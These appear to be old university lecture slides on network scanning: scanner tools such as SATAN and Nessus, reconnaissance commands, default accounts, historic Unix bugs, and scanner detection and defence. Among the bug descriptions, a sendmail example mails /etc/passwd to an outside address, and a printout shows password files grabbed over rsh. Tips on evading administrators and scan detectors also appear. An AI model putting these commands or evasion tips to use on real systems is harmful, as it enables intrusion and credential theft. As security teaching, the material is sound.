Scanning

- In the old War Games film there is a teenager with an automated way of calling through all possible modem numbers in some range to find a computer which answers. (Some claim that a notorious hacker Kevin Mitnik was an inspiration to the film, the hacking way was in use long ago.)
- This kind of dialling tool is now known as war dialler or wargames. It is quite primitive by modern standards while it may be still sometimes useful if access through the Internet will not succeed.
- Presently, the favorite method is to attack the computers through the Internet.
- Scanners are tools which automate and greatly speed up the search for vulnerabilities. Scanners can be used both by security administrators and by hackers.

Scanning

- Scanners are legal tools while using a scanner to somebody else's network may be illegal depending on what the scanner exactly does. Some scanners try to break into systems, which is illegal in Finland, other only gather information.
- Using a scanner usually requires root privileges, meaning that normally only system administrators can use it.
- You can set up Unix in your home computer and become root for that system in order to run a scanner against some other computers.
- If you scan other networks without appropriate authorization, you are likely to arose hard feelings.
- There are now scanners running in many operating systems. Most scanners run in Unix. E.g. NetScan runs in Windows.
- There are now scanners to scan any kind of computers for vulnerabilities, not only Unix machines.

Scanners

- The first scanners, like ISS and SATAN, were opposed as comparable to giving a loaded gun to a 5 years old child.
- After about 5 years of widespread scanner usage one can say that scanners have improved security by forcing vendors to actually close most of the known holes.
- Presently it is necessary for any security administrator to know about these tools and to have used them.
- For any competent hacker it is a simple thing to write a scanner. Anyway he needs to gather information of security attacks. A scanner is just a tool to automate the work.
- The publicly available scanners are not telling all details of an attack, like how to break in step-by-step. Probably there are more dangerous tools which are not public.
- One nonpublic (easy to find) hacker tool is rootkit. It is a set of modified binaries with trapdoors and for removing traces in logs.

Scanners

- Let us take an example. 1995 Silicon Graphics introduced WebForce machines for making nice WWW-pages. The operating system IRIX in some versions had a hole where a line printer lp could telnet an IRIX-station and print out a passwd file.
- When this hole was discovered the problem for hackers was to find these computers from the Internet.
- One possibility is to use a WWW search engine. The fashion for searching for these machines lasted only about one month before security people closed this way.
- A scanner does the job very easily: if you telnet this kind of system it gives a banner stating IRIX 4.1 Welcome to Graphics Town.
- It is quite simple to have a scanner telnet all IP-addresses within some range and look for this answer.

Scanning the network

- The first step of an attacker is usually to get as much information as possible from a network.
- If he has knowledge of the hardware and the operating system versions, services offered and user names, he can:
- - find bugs related to different operating systems and available services.
- - launch an attack for guessing passwords for known users.
- Scanning can be made manually but in that way it is slow and tiresome work.
- It is easy to automate scanning. There are several freeware and commercial scanners available.
- SATAN (Security Administrator’s Tool for Analyzing Networks) is one of the more famous ones (because the name is so catchy). It was released 1995 by Wietsa Venema and Dan Farmer.

Scanning the network

- satan-1.1.1.tar is available at many www sites. It runs in Unix or Linux and you must be a root to run it, like with most scanners. (So a hacker installs Unix to home.)
- There are other scanners:
- COPS (Computer Oracle and Password System) is another tool by Dan Farmer. It is better than SATAN in finding holes by which a hacker can obtain root rights and it is the standard tool used by Unix administrators. COPS is a bit more difficult to use than SATAN. It is also freeware:

  ftp://ftp.cert.org/pub/tools/ (sorry, this site disappeared, find another link to COPS)

  ISS (Internet Security Scanner) one of the first and best scanners. Now a product of ISS (Internet Security Systems). Similar to SATAN but makes even more scans.

  SATAN is too old, Nessus is a good scanner today.

Scanning the network

- Strobe (The Superior Optimized TCP Port Surveyor) is a fast TCP port scanner. It scans fast available services but does not give much information on them.
- NSS (Network Security Scanner). A scanner written in Perl making it interesting for a hacker who does not have access to a C-compiler and wants to modify the code.
- IdentTCPscan - shows UID in each TCP port (this is very useful since if root runs some vulnerable service, you may get to be a root)
- CONNECT - scans for TFTP (there are few around)
- FSPScan - scans for FSP servers (FSP is similar to FTP)
- XSCAN - scans for X server vulnerabilities
- SAFEsuit. Scanner running on Windows NT.

What a scanner does?

- Manually you can build a database of information on the organization you are attacking by using e.g. commands:
- whois may give back a list of host names
- nslookup often gives back some host names
- then you can ping them to see if they are connected directly to the Internet
- rpcinfo looks at the remote portmapper and tells what services are available
- finger, rwho, rusers give information on users.
- telnet the system: The banner may tell too much.
- ftp the system. ftp banner or system or help commands may give information.
- telnet the STMP port (TCP port 25). The sendmail daemon often tells too much.

What a scanner or a hacker does?

- Once a scanner (or a hacker) telnets a system, it would try the default userids which have no password or a trivial password.
- There are some accounts:
- In IRIX (a Unix system by SGI) has the following default users
- lp, guest, 4Dgifts, demos, tutor, tour, nuucp, root. Another reference adds jack, jill and backdoor to this list.
- Guest userid may work on other Unix systems as well with a guest password.
- If you install Linux you first log in as root and you should naturally give the password. Remove guest if you do not need it.
- Common knowledge: there may be default passwords. There may also be compiled secret passwords in the code.
- Some telnetd daemons allow passing environment variables to the remote system. This can be dangerous.

More useful calls

- There are other useful calls.
- **hosts** command, try

  hosts -l -v -t any network
- It is basically nslookup but gives more complete information. Some rank the command in the ten most dangerous commands to gain information.
- This command may give all information you need about hardware and operating systems used by the machines.
- **Traceroute** is useful in locating the user.
- There are useful scanning tools for Windows 95: NetScan Tools, Network Tools and TCP/IP Surveyor. The NetScan Tools make a heavy use of such commands as whois, ping, traceroute.
- Network Tools includes also a port scanner for TCP ports.

What a scanner does?

- You can next try to connect to each TCP/UDP port number in a given internet address and see if there is a service.
- If the portmap program offers bootparam service one can get the NIS domain name. Then if the hacker is in the same LAN segment he can use bootpd to obtain root access. A network should never offer access from outside to a boot server.
- Always close the bootp ports 67/UDP, 68/UDP, 106/UDP, 1068/UDP and portmap ports 111/UDP, 111/TCP by a firewall. Also NFS and NIS (yellow pages, yp) should never be available from outside.
- NFS showmount -e command shows the exported directories. Make sure no dangerous directory is user writable.
- yp distributes maps of system files to any client inside NIS/yp domain which knows the NIS domain name. You can get passwd, hosts, aliases, services etc. files.

What a scanner does?

- A scanner like SATAN automates all this and produces nice reports summarizing the information on the systems.
- Comparing this information with known bugs in different versions SATAN or a hacker would find any vulnerabilities there are.
- SATAN checks for some known bugs. A hacker would look for more recent bugs from mailing lists. The security auditing organizations CERT, CIAC etc. rarely announce bugs which do not have fixes, but there are other lists:
- comp.security.unix, com.security.misc, alt.security news groups are good sources. Books are usually a bit out-of-date (just like this course) in showing bugs that still work.
- You can add new security scans to SATAN easily.
- (but, Nessus is a better scanner than SATAN, forget SATAN)

Bugs SATAN scans for

- It is interesting to look at the bugs SATAN scans for. They are easily detected by the scanners and therefore do not pose a threat but show what bugs typically are like. These are better described in the book Internet Security p. 381.
- **sendmail -d Debug hole**

  Writing a very large value to the debug option overwrote the stack and caused commands to be executed with root privileges.
- **sendmail Bounce to Program hole**

  set the sender as something like

  !/bin/mail amyp@diana.com < /etc/passwd

  set an unvalid name as a recipient. sendmail accepts the message, tries to send and fails, bounces an error message to the sender which is a program, which then mails the password file, or makes whatever you want with root rights.

Bugs SATAN scans for

- **sendmail syslog Buffer Problem**

  sendmail uses syslog() to send information to syslogd daemon. syslog() does not check buffer overflow, then syslog() would call vspringf() and overflow the stack.

- **fingerd Buffer Problem**

  Used by the Internet worm and explained before.

- **hosts.equiv Username Problem**

  If a username was specified in the hosts.equiv file in addition to a hostname, this user on a remote host could specify the username of any user and gain access. E.g., if in a computer host1 /etc/hosts.equiv had a line host2 user1, then user1 on host2 could get to host1 as any user.

- **SSL httpd Randomization Problem**

  SSL uses good cryptoalgorithms IDEA, RC4-120, 3-DES.

Bugs SATAN scans for

However, this did not help much as the Netscape Navigator SSL selected the keys from a bad random number generator which chose a random number from a 16- or 32-bit number space. It is easy to search by brute force over such a space and crack the session key.

- **TCP Sequence Guessing Problem**

  If you can guess the sequence numbers for TCP acknowledgements, then you can capture a TCP connection. The numbers are taken from a random number generator when a connection starts. In this problem the random number generator was predictable, so starting a connection gave you the previous random number and you could then predict the sequence number in the next connection. There are some ways you can use this bug. You should be the last one who had a connection.

Bugs SATAN scans for

- **ftpd Server Bounce Problem**

  ftp can act as a proxy and fetch files for you. If you do not have right to get some file you may ask another ftp proxy to get it for you. An example is to overcome US restrictions on exporting cryptosoftware: a user in France can ask a US ftp proxy to go to get it and then send the file to France. To use this bug you need to make a special setting with the ftp proxy commands PASV, STOR, PORT, RETR, but following instructions you can do it. This bug has no fix exept for removing the proxy service.

- **portmap Forwarding**

  The portmap program forwards mount requests to rps.montd. Then they appear with the IP address of the system running portmap. This overcomes NFS restrictions on IP addresses.

Bugs SATAN scans for

- **World-Writable Mail Directory and Links**

  If /var/mail directory is writable by anybody, any user can create a file to that directory. If a user for instance creates a link from /var/mail/root to /etc/passwd, the user can mail a new username and password and get it appended to the passwd file.

- **NFS uid 16-bit Problem**

  NFS had bad security. NFS server depends on client-side authentication and verifies only the IP-address. To make root access through NFS server less easy, NFS tries to restrict root access to world-writable files. Unless there is an explicit export statement for the file, NFS will change the uid of a root client to -2 (nobody) and in this way restricts their access to world-writable files. If a user sets client uid (user id in Unix) to 65536, it will be accepted and not changed to -2. Such NFS client can access files owned by the root.

Bugs SATAN scans for

- **arp -f Problem**

  The -f flag permits to specify a file containing arp cache. If the file is not of the correct format, arp will print it out to help debugging a problem. You can specify any root owned file as the arp cache file and read it.

- **sendmail -C Problem**

  Sendmail allows to specify the configuration file with the -C option. If the configuration file is not in the correct format, sendmail prints it out. Also this feature allows any user to read root owned files.

- **rwall Writing Problem**

  A user could write an entry to the utmp file listing the current users in a Unix, but the entry being a filename, like /-rhosts or /etc/passwd.

Bugs SATAN scans for

Sending a message to all users with the rwall command caused a message to be written to that file. In this way you could write over /etc/passwd or /.rhosts and later gain access.

Naturally, you should send the message at a time when a system administrator is not logged in as it must look a bit bizarre.

Checking the bugs

A scanner not only checks the versions but actually tries to use the bug.

Let us look at some printouts from a popular scanner SAFEsuit trying to check for some bugs.

Bug check by SAFEsuit

- In the book Maximum Security by Anonymous p. 193 there is the following example. There is a known bug in rlogin, SAFEsuit tests for it:

  # Rlogin Binding to Port

  # Connected to Rlogin Port

  # Trying to gain access via Rlogin

  127.0.0.1: - - - - rlogin begin output

  127.0.0.1: - - - - rlogin end output

  # Rlogin check complete, not vulnerable

  So, this test was OK, but some others were not:

Bug check by SAFEsuit

 # Time Stamp(555): Rsh check: (8480279) Thu Nov 14 19:19:22

 # Checking Rsh For Vulnerability

 # Rsh Shell Binding to Port

 # Sending command to Rsh

127.0.0.1: bin/bin logged in to rsh

127.0.0.1: Files grapped from rsh into ‘./127.0.0.1.rsh.files’

127.0.0.1: Rsho vulnerable in hosts.equiv

 # Completed Checking Rsh for Vulnerability

In this test files, including passwd were read from the system and saved into ./127.0.0.1.rsh.files.

Detecting a scanner

- There are programs which detect a scanner: Courtney, Gabriel, TCP Wrapper, netlog/TAMU, Argus.
- Some of them have a sniffer, like tcpdump, and look for a rapid sequence of short connection attempts to TCP and UDP ports. Some use proxies and make logs.
- There has not been any raise in the number of attacks made with SATAN or other scanners.
- We may assume it is because real attackers modify the scanners so, that scanning goes undetected. It is for instance possible to slow down scanning below the level which causes a scanner detector to alarm.
- There are also new emerging stealth scanners which do not leave traces of the scan. Jakal and Nmap are stealth scanners using half scan (start SYN/ACK but never complete it).

Detecting scanning

- Courtney detects if the system has been scanned by SATAN, or any other similar port scanner and notifies this to the administrator. Courtney is a short PERL script, which uses tcpdump sniffer. tcpdump is a sniffer, which puts a LAN interface to a promiscuous mode so, that all IP packets can be read by the sniffer. tcpdump is one of the more popular programs for traffic measurement also. tcpdump has libpcap library, which the Courtney script calls. The Courtney program notices port scanning from a rapid sequence of connection attempts to many UDP and TCP ports.
- Gabriel is similar to Courtney, but it is a binary created from C and does not use tcpdump. It only runs on Sun.
- How can one modify scanning so that Courtney will not see it? Why do you want a scanner to scan so fast anyway?

Usefulness of a scanner for a hacker

- A scanner of some type, or automated way to find vulnerabilities and information of the targeted system is very useful for a hacker.
- The security scans in a scanner are probably not useful for a hacker as those holes are very probably fixed and checking them might only reveal the attack.
- The way bug fixes are updated now would mean that a hacker who tries to take advantage of a known bug before the bug is fixed would have a small time margin from an unpredictable time when a bug is found to an uncertain time when a bug is fixed.
- This type of attack may be suitable for a hacker who only wants to break into a computer somewhere. It is not a very convenient way for a hacker who has some goal.

Usefulness of a scanner for a hacker

- Therefore we may assume, that criminals and spies will not check the bugs with known scanner checks.
- They will use a scanner to information gathering and if they make a check for a bug it is probably a less known bug.
- Currently security patches in software releases are reverse engineered and their security implications are sought for and similar holes in other pieces of software are looked for.
- This is relatively slow work (though not very slow - reverse engineering a security patch may be done in a day), but it will find new holes.
- Being too certain of security after having successfully scanned a system without any vulnerabilities found is quite wrong. Security scanner can be compared to a anti-virus program: it only checks for known holes.

Usefulness of a scanner for a hacker

- We may say that finding holes with a publicly known scanner is probably most useful if the goal of the hacker is

  just to break in somewhere

  terrorist action or vandalism

  make a computer crime anywhere
- If the target is a specific system which is known to have high security, the hacker should:
  - find new holes, not the ones in the bulletin boards,
  - or plan holes using viruses or other distribution methods
- A scanner can be useful, but it should be not detected easily. Therefore it may be not necessary for the attacker to find all information he can get. After all, he may have rather few new holes that can be used.
- A too noisy scanning may uncover the attacker.

Usefulness of a scanner for a hacker

- It may be possible to monitor the network for odd behavior and detect scanning.
- The defender could offer some traps to see if the attacker tries them, like some SCI IRIX type banner which lets the attacker into a trap by some default user name.
- One should use a sandbox model so that the attacker in the trap cannot do anything harmful, but commits the crime of breaking into a system.
- Do not try breaking into systems. There is currently a court suit against a Finnish hacker who did no actual damage. He is sued for almost 700.000 FIM. Be warned.
- It is a bit strange that if you have no locks in doors and somebody comes in, you can make him pay better locks.

Other ways to improve security

- scanning a system and finding no bad holes (most systems cannot protect against Denial-of-Service attacks, so this vulnerability there is) may give a wrong feeling of security. There are bugs though they are not found.
- What one can do is to replace the services by something more simple ones which hopefully have much fewer bugs or none at all (if they are very simple, this is possible).
- TCP ports need not have the real daemon listening them (or have the inetd daemon start the service, which is another common way). One can also make a proxy service using TCP Port Wrappers by Wietsa Venema.
- SOCKS is a proxy technique which is used to build circuit level firewalls. Socksifying all ports is one way to stop an intruder from using them.